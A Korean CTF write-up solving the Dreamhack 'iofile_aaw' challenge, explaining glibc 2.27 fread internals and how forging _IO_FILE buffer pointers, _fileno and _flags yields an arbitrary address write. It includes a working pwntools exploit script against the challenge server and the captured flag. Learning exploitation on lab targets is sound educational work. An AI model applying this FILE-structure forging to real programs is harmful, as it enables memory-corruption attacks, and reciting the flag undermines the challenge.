Description
Exploit Tech: _IO_FILE Arbitrary Address Write에서 실습하는 문제입니다.
checksec
seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ checksec ./iofile_aaw
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/seo/dreamhack/_IO_FILE_Arbitrary_Address_Write/iofile_aaw'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Decompiled-src
iofile_aaw.c
// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aaw/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
write(1, flag_buf, sizeof(flag_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_flag();
fclose(fp);
}
“/etc/issue” 파일을 읽기 모드로 읽고,
파일 포인터에 300바이트만큼의 값을 입력할 수 있다.
그렇게 읽은 “/etc/issue” 파일 내용은 지역변수인 file_buf에 저장되고, printf를 통해 출력한다.
전역변수인 overwrite_me 변수가 0xDEADBEEF일 경우, flag를 획득할 수 있다.
Solution
파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용하는데,
파일 구조체를 조작해서 임의의 주소에 쓸 수 있는 취약점에 대해 알아보자.
대표적으로, 파일 내용을 읽는 함수는 fread, fgets가 있고,
파일에 데이터를 쓰기 위한 함수로는 fwrite, fputs가 있다.
파일을 읽는 함수들은 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출한다.
fread 함수에 대해 살펴보면,
https://github.com/bminor/glibc/blob/glibc-2.27/stdio-common/getw.c#L21
#include <stdio.h> #include <libio/iolibio.h> #define fread(p, m, n, s) _IO_fread (p, m, n, s)
https://github.com/bminor/glibc/blob/glibc-2.27/libio/iofread.c#L38
#include "libioP.h"
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
...
}
https://github.com/bminor/glibc/blob/glibc-2.27/libio/genops.c#L429
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}
https://github.com/bminor/glibc/blob/glibc-2.27/libio/libioP.h#L177
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1294
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}
/* Check for backup and repeat */
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
}
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
/* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
/* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;
}
count = _IO_SYSREAD (fp, s, count);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN;
break;
}
s += count;
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}
return n - want;
}
libc_hidden_def (_IO_file_xsgetn)
fread → _IO_fread → _IO_sgetn → _IO_XSGETN → _IO_file_xsgetn
이렇게 최종적으로 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출하는 것을 알 수 있다.
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n;
...
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
해당 함수는 파일 함수의 인자로 전달된 n이 _IO_buf_end - _IO_buf_base 값보다 작은지 검사하고 __underflow() → _IO_new_file_underflow 함수를 호출한다.
https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L469
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
_IO_new_file_underflow 함수는
파일 포인터의 _flags 변수에 읽기 권한이 부여됐는지 확인한다.
_IO_SYSREAD 함수의 인자로 파일 포인터와 파일 구조체의 멤버 변수를 연산한 값을 전달한다.
_IO_SYSREAD 함수는 vtable의 _IO_file_read() 로 매크로 정의를 통해 확인할 수 있다.
https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1152
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}
libc_hidden_def (_IO_file_read)
_IO_file_read 함수에서는 read 시스템 콜을 통해 데이터를 읽는 것을 확인할 수 있다.
read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);
정리하자면, 위와 같이 최종적으로,
read 시스템 콜 인자에는 파일 구조체에서 파일 디스크립터를 나타내는 _fileno, _IO_buf_base인 buf, 그리고 _IO_buf_end - _IO_buf_base로 연산된 size가 전달되는 것을 알 수 있다.
이렇게 fd 변수인 _fileno, _IO_buf_base , _IO_buf_end , _flags를 적절하게 조작하여 임의의 주소에 쓰기를 수행할 수 있는 공격 방법이 _IO_FILE Arbitrary Address Write이라고 한다.
fp인 파일 구조체에 있는 필드를 조작해서,overwrite_me 변수를 0xDEADBEEF로 조작해야 된다.
Breakpoint 1, 0x0000000000400862 in main ()
gdb-peda$ p *(FILE *)$rax
$1 = {
_flags = 0xfbad2488,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x602340,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x602350,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
fopen을 한 직후의 FILE 구조체를 살펴보면 위와 같다.
read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);
위에서 언급했던 것처럼 _IO_file_read() 에서 read 시스템 콜을 호출되기 때문에,
fp를 조작할 수 있으므로 read 시스템 콜을 통해 overwrite_me를 조작하면 된다.
_IO_buf_base를 overwrite_me의 주소로 조작하고, _IO_buf_end를 overwrite_me + 1024 로 조작하면 된다.
read 함수 인자로 사용되는 size를 적절하게 조작해야되는데,
int
_IO_new_file_underflow (_IO_FILE *fp)
{
...
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
}
이러한 이유는 _IO_new_file_underflow()에서 _IO_buf_end - _IO_buf_base 값이 fread 함수의 인자로 전달된 읽기 크기보다 커야되는 조건이 있기 때문이다.
char file_buf[1024]; ... fread(file_buf, 1, sizeof(file_buf)-1, fp);
코드를 보면,
fread 함수의 size로 1023을 사용하고 있기 때문에 더 큰 1024로 조작해야한다.
마지막으로 값을 쓰기 위해서 fileno 를 stdin을 의미하는 0으로 덮고 _flags는 기존 값 그대로 _IO_IS_FILEBUF, _IO_TIED_PUT_GET, _IO_LINKED, _IO_NO_WRITES 의 권한을 유지한 0xfbad2488값으로 조작하면 된다.
0xfbad2488 == _IO_MAGIC(0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8)을 의미하고 쓰기를 수행하기위한 flag를 설정한 것이라고 보면 된다.
solve.py
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = remote("host3.dreamhack.games", 10995)
#p = process("iofile_aaw")
e = ELF('./iofile_aaw', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
overwrite_me = e.symbols['overwrite_me']
#read(stdin, overwrite_me, overwrite_me+1024 - overwrite_me)
#read(0, overwrite_me, 1024)
payload = p64(0xfbad2488) #_flags
payload += p64(0) #_IO_read_ptr
payload += p64(0) #_IO_read_end
payload += p64(0) #_IO_read_base
payload += p64(0) #_IO_write_base
payload += p64(0) #_IO_write_ptr
payload += p64(0) #_IO_write_end
payload += p64(overwrite_me) #_IO_buf_base
payload += p64(overwrite_me+1024) #_IO_buf_end
payload += p64(0) #_IO_save_base
payload += p64(0) #_IO_backup_base
payload += p64(0) #_IO_save_end
payload += p64(0) #_markers
payload += p64(0) #_chain
payload += p64(0) #_fileno (stdin)
p.sendlineafter("Data: ", payload)
p.sendline(p64(0xdeadbeef) + b"\x00"*1015)
p.interactive()
Result
seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 10995: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] Switching to interactive mode
ﾭ\DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}
\x00...[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 10995
FLAG
DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}
Reference
https://keyme2003.tistory.com/entry/dreamhack-IOFILE-Arbitrary-Address-Write